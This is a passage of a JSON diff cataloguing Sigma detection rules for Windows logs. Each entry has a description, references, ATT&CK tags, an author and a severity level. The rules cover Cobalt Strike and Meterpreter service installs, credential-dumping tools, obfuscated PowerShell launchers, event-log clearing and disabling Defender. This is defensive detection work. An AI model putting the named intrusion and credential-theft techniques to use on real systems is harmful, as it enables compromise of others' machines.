"filename": "win_security_vssaudit_secevent_source_registration.yml", + "author": "Roberto Rodriguez @Cyb3rWard0g, Open Threat Research (OTR)", + "level": "informational", + "falsepositive": [ + "Legitimate use of VSSVC. Maybe backup operations. It would usually be done by C:\\Windows\\System32\\VSSVC.exe." + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects a threat actor creating a file named `wbemcomn.dll` in the `C:\\Windows\\System32\\wbem\\` directory over the network for a WMI DLL Hijack scenario.", + "uuid": "f6c68d5f-e101-4b86-8c84-7d96851fd65c", + "value": "T1047 Wmiprvse Wbemcomn DLL Hijack", + "meta": { + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/08_lateral_movement/WIN-201009173318.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_wmiprvse_wbemcomn_dll_hijack.yml" + ], + "tags": [ + "attack.execution", + "attack.t1047", + "attack.lateral_movement", + "attack.t1021.002" + ], + "creation_date": "2020/10/12", + "filename": "win_security_wmiprvse_wbemcomn_dll_hijack.yml", + "author": "Roberto Rodriguez @Cyb3rWard0g, Open Threat Research (OTR)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious WMI event filter and command line event consumer based on WMI and Security Logs.", + "uuid": "f033f3f3-fd24-4995-97d8-a3bb17550a88", + "value": "WMI Persistence", + "meta": { + "refs": [ + "https://twitter.com/mattifestation/status/899646620148539397", + "https://www.eideon.com/2018-03-02-THL03-WMIBackdoors/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_wmi_persistence.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1546.003" + ], + "creation_date": "2017/08/22", + "filename": "win_security_wmi_persistence.yml", + "author": "Florian Roth, Gleb Sukhodolskiy, Timur Zinniatullin oscd.community", + "level": "medium", + "falsepositive": [ + "Unknown (data set is too small; further testing needed)" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects Code Integrity (CI) engine blocking Microsoft Defender's processes (MpCmdRun and NisSrv) from loading unsigned DLLs which may be an attempt to sideload arbitrary DLL", + "uuid": "0b0ea3cc-99c8-4730-9c53-45deee2a4c86", + "value": "Microsoft Defender Blocked from Loading Unsigned DLL", + "meta": { + "refs": [ + "https://www.sentinelone.com/blog/living-off-windows-defender-lockbit-ransomware-sideloads-cobalt-strike-through-microsoft-security-tool", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security_mitigations/win_security_mitigations_defender_load_unsigned_dll.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1574.002" + ], + "creation_date": "2022/08/02", + "filename": "win_security_mitigations_defender_load_unsigned_dll.yml", + "author": "Bhabesh Raj", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects Code Integrity (CI) engine blocking processes from loading unsigned DLLs residing in suspicious locations", + "uuid": "8289bf8c-4aca-4f5a-9db3-dc3d7afe5c10", + "value": "Unsigned Binary Loaded From Suspicious Location", + "meta": { + "refs": [ + "https://github.com/nasbench/EVTX-ETW-Resources/blob/45fd5be71a51aa518b1b36d4e1f36af498084e27/ETWEventsList/CSV/Windows11/21H2/W11_21H2_Pro_20220719_22000.795/Providers/Microsoft-Windows-Security-Mitigations.csv", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security_mitigations/win_security_mitigations_unsigned_dll_from_susp_location.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1574.002" + ], + "creation_date": "2022/08/03", + "filename": "win_security_mitigations_unsigned_dll_from_susp_location.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Rule to detect the Hybrid Connection Manager service running on an endpoint.", + "uuid": "b55d23e5-6821-44ff-8a6e-67218891e49f", + "value": "HybridConnectionManager Service Running", + "meta": { + "refs": [ + "https://twitter.com/Cyb3rWard0g/status/1381642789369286662", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/servicebus/win_hybridconnectionmgr_svc_running.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1554" + ], + "creation_date": "2021/04/12", + "filename": "win_hybridconnectionmgr_svc_running.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "level": "high", + "falsepositive": [ + "Legitimate use of Hybrid Connection Manager via Azure function apps." + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious application installed by looking at the added shortcut to the app resolver cache", + "uuid": "83c161b6-ca67-4f33-8ad0-644a0737cf07", + "value": "Suspicious Application Installed", + "meta": { + "refs": [ + "https://nasbench.medium.com/finding-forensic-goodness-in-obscure-windows-event-logs-60e978ea45a3", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/shell_core/win_shell_core_susp_packages_installed.yml" + ], + "tags": [ + "attack.execution" + ], + "creation_date": "2022/08/14", + "filename": "win_shell_core_susp_packages_installed.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Packages or applications being legitimately used by users or administrators" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detect Attempt PrintNightmare (CVE-2021-1675) Remote code execution in Windows Spooler Service", + "uuid": "71886b70-d7b4-4dbf-acce-87d2ca135262", + "value": "Suspicious Rejected SMB Guest Logon From IP", + "meta": { + "refs": [ + "https://twitter.com/KevTheHermit/status/1410203844064301056", + "https://github.com/hhlxf/PrintNightmare", + "https://github.com/afwu/PrintNightmare", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/smbclient/win_susp_failed_guest_logon.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1110.001" + ], + "creation_date": "2021/06/30", + "filename": "win_susp_failed_guest_logon.yml", + "author": "Florian Roth, KevTheHermit, fuzzyf10w", + "level": "medium", + "falsepositive": [ + "Account fallback reasons (after failed login with specific account)" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects repeated failed (outgoing) attempts to mount a hidden share", + "uuid": "1c3be8c5-6171-41d3-b792-cab6f717fcdb", + "value": "Failed Mounting of Hidden Share", + "meta": { + "refs": [ + "https://twitter.com/moti_b/status/1032645458634653697", + "https://www.bsi.bund.de/SharedDocs/Downloads/EN/BSI/Cyber-Security/SiSyPHuS/AP10/Logging_Configuration_Guideline.pdf?__blob=publicationFile&v=5", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/smbclient/win_susp_failed_hidden_share_mount.yml" + ], + "tags": [ + "attack.t1021.002", + "attack.lateral_movement" + ], + "creation_date": "2022/08/30", + "filename": "win_susp_failed_hidden_share_mount.yml", + "author": "Fabian Franz", + "level": "medium", + "falsepositive": [ + "Legitimate administrative activity", + "Faulty scripts" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects the installation of the anydesk software service. Which could be an indication of anydesk abuse if you the software isn't already used.", + "uuid": "530a6faa-ff3d-4022-b315-50828e77eef5", + "value": "Anydesk Remote Access Software Service Installation", + "meta": { + "refs": [ + "https://thedfirreport.com/2022/08/08/bumblebee-roasts-its-way-to-domain-admin/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_anydesk_service_installation.yml" + ], + "tags": [ + "attack.persistence" + ], + "creation_date": "2022/08/11", + "filename": "win_system_anydesk_service_installation.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate usage of the anydesk tool" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects application popup reporting a failure of the Sysmon service", + "uuid": "4d7f1827-1637-4def-8d8a-fd254f9454df", + "value": "Sysmon Crash", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_application_sysmon_crash.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562" + ], + "creation_date": "2022/04/26", + "filename": "win_system_application_sysmon_crash.yml", + "author": "Tim Shelton", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "This method detects a service install of malicious services mentioned in Carbon Paper - Turla report by ESET", + "uuid": "1df8b3da-b0ac-4d8a-b7c7-6cb7c24160e4", + "value": "Turla Service Install", + "meta": { + "refs": [ + "https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_apt_carbonpaper_turla.yml" + ], + "tags": [ + "attack.persistence", + "attack.g0010", + "attack.t1543.003" + ], + "creation_date": "2017/03/31", + "filename": "win_system_apt_carbonpaper_turla.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects Chafer activity attributed to OilRig as reported in Nyotron report in March 2018", + "uuid": "53ba33fd-3a50-4468-a5ef-c583635cfa92", + "value": "Chafer Activity", + "meta": { + "refs": [ + "https://nyotron.com/nyotron-discovers-next-generation-oilrig-attacks/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_apt_chafer_mar18_system.yml" + ], + "tags": [ + "attack.persistence", + "attack.g0049", + "attack.t1053.005", + "attack.s0111", + "attack.t1543.003", + "attack.defense_evasion", + "attack.t1112", + "attack.command_and_control", + "attack.t1071.004" + ], + "creation_date": "2018/03/23", + "filename": "win_system_apt_chafer_mar18_system.yml", + "author": "Florian Roth, Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, oscd.community", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "This method detects a service install of the malicious Microsoft Network Realtime Inspection Service service described in StoneDrill report by Kaspersky", + "uuid": "9e987c6c-4c1e-40d8-bd85-dd26fba8fdd6", + "value": "StoneDrill Service Install", + "meta": { + "refs": [ + "https://securelist.com/blog/research/77725/from-shamoon-to-stonedrill/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_apt_stonedrill.yml" + ], + "tags": [ + "attack.persistence", + "attack.g0064", + "attack.t1543.003" + ], + "creation_date": "2017/03/07", + "filename": "win_system_apt_stonedrill.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "This method detects malicious services mentioned in Turla PNG dropper report by NCC Group in November 2018", + "uuid": "1228f8e2-7e79-4dea-b0ad-c91f1d5016c1", + "value": "Turla PNG Dropper Service", + "meta": { + "refs": [ + "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/november/turla-png-dropper-is-back/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_apt_turla_service_png.yml" + ], + "tags": [ + "attack.persistence", + "attack.g0010", + "attack.t1543.003" + ], + "creation_date": "2018/11/23", + "filename": "win_system_apt_turla_service_png.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects known malicious service installs that appear in cases in which a Cobalt Strike beacon elevates privileges or lateral movement", + "uuid": "5a105d34-05fc-401e-8553-272b45c1522d", + "value": "CobaltStrike Service Installations", + "meta": { + "refs": [ + "https://www.sans.org/webcasts/119395", + "https://www.crowdstrike.com/blog/getting-the-bacon-from-cobalt-strike-beacon/", + "https://thedfirreport.com/2021/08/29/cobalt-strike-a-defenders-guide/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_cobaltstrike_service_installs.yml" + ], + "tags": [ + "attack.execution", + "attack.privilege_escalation", + "attack.lateral_movement", + "attack.t1021.002", + "attack.t1543.003", + "attack.t1569.002" + ], + "creation_date": "2021/05/26", + "filename": "win_system_cobaltstrike_service_installs.yml", + "author": "Florian Roth, Wojciech Lesicki", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects the \"Windows Defender Threat Protection\" service has been disabled", + "uuid": "6c0a7755-6d31-44fa-80e1-133e57752680", + "value": "Windows Defender Threat Detection Disabled - Service", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-antivirus/troubleshoot-windows-defender-antivirus", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_defender_disabled.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2020/07/28", + "filename": "win_system_defender_disabled.yml", + "author": "J\u00e1n Tren\u010dansk\u00fd, frack113", + "level": "low", + "falsepositive": [ + "Administrator actions", + "Auto updates of Windows Defender causes restarts" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "One of the Windows Eventlogs has been cleared. e.g. caused by \"wevtutil cl\" command execution", + "uuid": "a62b37e0-45d3-48d9-a517-90c1a1b0186b", + "value": "Eventlog Cleared", + "meta": { + "refs": [ + "https://twitter.com/deviouspolack/status/832535435960209408", + "https://www.hybrid-analysis.com/sample/027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745?environmentId=100", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_eventlog_cleared.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.001", + "car.2016-04-002" + ], + "creation_date": "2017/01/10", + "filename": "win_system_eventlog_cleared.yml", + "author": "Florian Roth", + "level": "low", + "falsepositive": [ + "Rollout of log collection agents (the setup routine often includes a reset of the local Eventlog)", + "System provisioning (system reset before the golden image creation)" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of smbexec.py tool by detecting a specific service installation", + "uuid": "52a85084-6989-40c3-8f32-091e12e13f09", + "value": "smbexec.py Service Installation", + "meta": { + "refs": [ + "https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_hack_smbexec.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.execution", + "attack.t1021.002", + "attack.t1569.002" + ], + "creation_date": "2018/03/20", + "filename": "win_system_hack_smbexec.yml", + "author": "Omer Faruk Celik", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated use of Clip.exe to execute PowerShell", + "uuid": "f7385ee2-0e0c-11eb-adc1-0242ac120002", + "value": "Invoke-Obfuscation CLIP+ Launcher", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_clip_services.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/13", + "filename": "win_system_invoke_obfuscation_clip_services.yml", + "author": "Jonathan Cheong, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the code block linked in the references", + "uuid": "51aa9387-1c53-4153-91cc-d73c59ae1ca9", + "value": "Invoke-Obfuscation Obfuscated IEX Invocation", + "meta": { + "refs": [ + "https://github.com/danielbohannon/Invoke-Obfuscation/blob/f20e7f843edd0a3a7716736e9eddfa423395dd26/Out-ObfuscatedStringCommand.ps1#L873-L888", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_obfuscated_iex_services.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027" + ], + "creation_date": "2019/11/08", + "filename": "win_system_invoke_obfuscation_obfuscated_iex_services.yml", + "author": "Daniel Bohannon (@Mandiant/@FireEye), oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated use of stdin to execute PowerShell", + "uuid": "72862bf2-0eb1-11eb-adc1-0242ac120002", + "value": "Invoke-Obfuscation STDIN+ Launcher", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_stdin_services.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/15", + "filename": "win_system_invoke_obfuscation_stdin_services.yml", + "author": "Jonathan Cheong, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated use of Environment Variables to execute PowerShell", + "uuid": "8ca7004b-e620-4ecb-870e-86129b5b8e75", + "value": "Invoke-Obfuscation VAR+ Launcher", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_var_services.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/15", + "filename": "win_system_invoke_obfuscation_var_services.yml", + "author": "Jonathan Cheong, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated Powershell via COMPRESS OBFUSCATION", + "uuid": "175997c5-803c-4b08-8bb0-70b099f47595", + "value": "Invoke-Obfuscation COMPRESS OBFUSCATION", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_via_compress_services.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/18", + "filename": "win_system_invoke_obfuscation_via_compress_services.yml", + "author": "Timur Zinniatullin, oscd.community", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated Powershell via RUNDLL LAUNCHER", + "uuid": "11b52f18-aaec-4d60-9143-5dd8cc4706b9", + "value": "Invoke-Obfuscation RUNDLL LAUNCHER", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_via_rundll_services.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/18", + "filename": "win_system_invoke_obfuscation_via_rundll_services.yml", + "author": "Timur Zinniatullin, oscd.community", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated Powershell via Stdin in Scripts", + "uuid": "487c7524-f892-4054-b263-8a0ace63fc25", + "value": "Invoke-Obfuscation Via Stdin", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_via_stdin_services.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/12", + "filename": "win_system_invoke_obfuscation_via_stdin_services.yml", + "author": "Nikita Nazarov, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated Powershell via use Clip.exe in Scripts", + "uuid": "63e3365d-4824-42d8-8b82-e56810fefa0c", + "value": "Invoke-Obfuscation Via Use Clip", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_via_use_clip_services.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/09", + "filename": "win_system_invoke_obfuscation_via_use_clip_services.yml", + "author": "Nikita Nazarov, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated Powershell via use MSHTA in Scripts", + "uuid": "7e9c7999-0f9b-4d4a-a6ed-af6d553d4af4", + "value": "Invoke-Obfuscation Via Use MSHTA", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_via_use_mshta_services.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/09", + "filename": "win_system_invoke_obfuscation_via_use_mshta_services.yml", + "author": "Nikita Nazarov, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated Powershell via use Rundll32 in Scripts", + "uuid": "641a4bfb-c017-44f7-800c-2aee0184ce9b", + "value": "Invoke-Obfuscation Via Use Rundll32", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_via_use_rundll32_services.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/09", + "filename": "win_system_invoke_obfuscation_via_use_rundll32_services.yml", + "author": "Nikita Nazarov, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated Powershell via VAR++ LAUNCHER", + "uuid": "14bcba49-a428-42d9-b943-e2ce0f0f7ae6", + "value": "Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_via_var_services.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/13", + "filename": "win_system_invoke_obfuscation_via_var_services.yml", + "author": "Timur Zinniatullin, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects the exploitation of a security bypass and elevation of privilege vulnerability with Authentication Negotiation by using weak RC4-HMAC negotiation", + "uuid": "e6f81941-b1cd-4766-87db-9fc156f658ee", + "value": "KDC RC4-HMAC Downgrade CVE-2022-37966", + "meta": { + "refs": [ + "https://support.microsoft.com/en-us/topic/kb5021131-how-to-manage-the-kerberos-protocol-changes-related-to-cve-2022-37966-fd837ac3-cdec-4e76-a6ec-86e67501407d", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_kdcsvc_rc4_downgrade.yml" + ], + "tags": [ + "attack.privilege_escalation" + ], + "creation_date": "2022/11/09", + "filename": "win_system_kdcsvc_rc4_downgrade.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects service creation from KrbRelayUp tool used for privilege escalation in windows domain environments where LDAP signing is not enforced (the default settings)", + "uuid": "e97d9903-53b2-41fc-8cb9-889ed4093e80", + "value": "KrbRelayUp Service Installation", + "meta": { + "refs": [ + "https://github.com/Dec0ne/KrbRelayUp", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_krbrelayup_service_installation.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1543" + ], + "creation_date": "2022/05/11", + "filename": "win_system_krbrelayup_service_installation.yml", + "author": "Sittikorn S, Tim Shelton", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects the invocation of TabTip via CLSID as seen when JuicyPotatoNG is used on a system in brute force mode", + "uuid": "bc2e25ed-b92b-4daa-b074-b502bdd1982b", + "value": "Local Privilege Escalation Indicator TabTip", + "meta": { + "refs": [ + "https://github.com/antonioCoco/JuicyPotatoNG", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_lpe_indicators_tabtip.yml" + ], + "tags": [ + "attack.execution", + "attack.t1557.001" + ], + "creation_date": "2022/10/07", + "filename": "win_system_lpe_indicators_tabtip.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects the reporting of NTLMv1 being used between a client and server", + "uuid": "e9d4ab66-a532-4ef7-a502-66a9e4a34f5d", + "value": "NTLMv1 Logon Between Client and Server", + "meta": { + "refs": [ + "https://attack.mitre.org/techniques/T1550/002/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_lsasrv_ntlmv1.yml" + ], + "tags": [ + "attack.execution", + "attack.t1550.002", + "attack.s0363" + ], + "creation_date": "2022/04/26", + "filename": "win_system_lsasrv_ntlmv1.yml", + "author": "Tim Shelton", + "level": "low", + "falsepositive": [ + "Environments that use NTLMv1" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects well-known credential dumping tools execution via service execution events", + "uuid": "4976aa50-8f41-45c6-8b15-ab3fc10e79ed", + "value": "Credential Dumping Tools Service Execution", + "meta": { + "refs": [ + "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_mal_creddumper.yml" + ], + "tags": [ + "attack.credential_access", + "attack.execution", + "attack.t1003.001", + "attack.t1003.002", + "attack.t1003.004", + "attack.t1003.005", + "attack.t1003.006", + "attack.t1569.002", + "attack.s0005" + ], + "creation_date": "2017/03/05", + "filename": "win_system_mal_creddumper.yml", + "author": "Florian Roth, Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community", + "level": "high", + "falsepositive": [ + "Legitimate Administrator using credential dumping tool for password recovery" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of getsystem Meterpreter/Cobalt Strike command by detecting a specific service installation", + "uuid": "843544a7-56e0-4dcc-a44f-5cc266dd97d6", + "value": "Meterpreter or Cobalt Strike Getsystem Service Installation", + "meta": { + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment", + "https://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_meterpreter_or_cobaltstrike_getsystem_service_installation.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1134.001", + "attack.t1134.002" + ], + "creation_date": "2019/10/26", + "filename": "win_system_meterpreter_or_cobaltstrike_getsystem_service_installation.yml", + "author": "Teymur Kheirkhabarov, Ecco, Florian Roth", + "level": "critical", + "falsepositive": [ + "Highly unlikely" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of Moriya rootkit as described in the securelist's Operation TunnelSnake report", + "uuid": "25b9c01c-350d-4b95-bed1-836d04a4f324", + "value": "Moriya Rootkit", + "meta": { + "refs": [ + "https://securelist.com/operation-tunnelsnake-and-moriya-rootkit/101831", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_moriya_rootkit.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1543.003" + ], + "creation_date": "2021/05/06", + "filename": "win_system_moriya_rootkit.yml", + "author": "Bhabesh Raj", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "This the exploitation of a NTFS vulnerability as reported without many details via Twitter", + "uuid": "f14719ce-d3ab-4e25-9ce6-2899092260b0", + "value": "NTFS Vulnerability Exploitation", + "meta": { + "refs": [ + "https://twitter.com/jonasLyk/status/1347900440000811010", + "https://twitter.com/wdormann/status/1347958161609809921", + "https://www.bleepingcomputer.com/news/security/windows-10-bug-corrupts-your-hard-drive-on-seeing-this-files-icon/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_ntfs_vuln_exploit.yml" + ], + "tags": [ + "attack.impact", + "attack.t1499.001" + ], + "creation_date": "2021/01/11", + "filename": "win_system_ntfs_vuln_exploit.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects Windows Pcap driver installation based on a list of associated .sys files.", + "uuid": "7b687634-ab20-11ea-bb37-0242ac130002", + "value": "Windows Pcap Drivers", + "meta": { + "refs": [ + "https://ragged-lab.blogspot.com/2020/06/capturing-pcap-driver-installations.html#more", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_pcap_drivers.yml" + ], + 